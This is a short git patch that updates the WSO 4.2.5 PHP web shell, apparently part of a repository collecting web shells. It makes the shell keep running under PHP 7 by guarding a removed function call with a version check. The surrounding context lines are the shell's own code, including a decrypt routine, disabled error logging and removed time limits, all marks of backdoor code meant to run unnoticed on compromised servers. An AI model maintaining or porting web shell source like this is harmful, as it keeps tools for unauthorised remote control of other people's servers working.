From aa4293656bef1fb7a7a1f6d256eb3d700eb7d3cb Mon Sep 17 00:00:00 2001 From: jRazer Date: Sat, 11 Feb 2017 15:25:48 +0300 Subject: [PATCH] PHP 7 - function set_magic_quotes_runtime removed Fatal error: Uncaught Error: Call to undefined function set_magic_quotes_runtime() --- php/wso/wso-4.2.5.php | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/php/wso/wso-4.2.5.php b/php/wso/wso-4.2.5.php index ada8c5a..daed362 100644 --- a/php/wso/wso-4.2.5.php +++ b/php/wso/wso-4.2.5.php @@ -26,7 +26,8 @@ function decrypt($str,$pwd){$pwd=base64_encode($pwd);$str=base64_decode($str);$e @ini_set('log_errors',0); @ini_set('max_execution_time',0); @set_time_limit(0); -@set_magic_quotes_runtime(0); +if (PHP_VERSION_ID < 70000) + @set_magic_quotes_runtime(0); @define('VERSION', '4.2.5'); if(get_magic_quotes_gpc()) { function stripslashes_array($array) {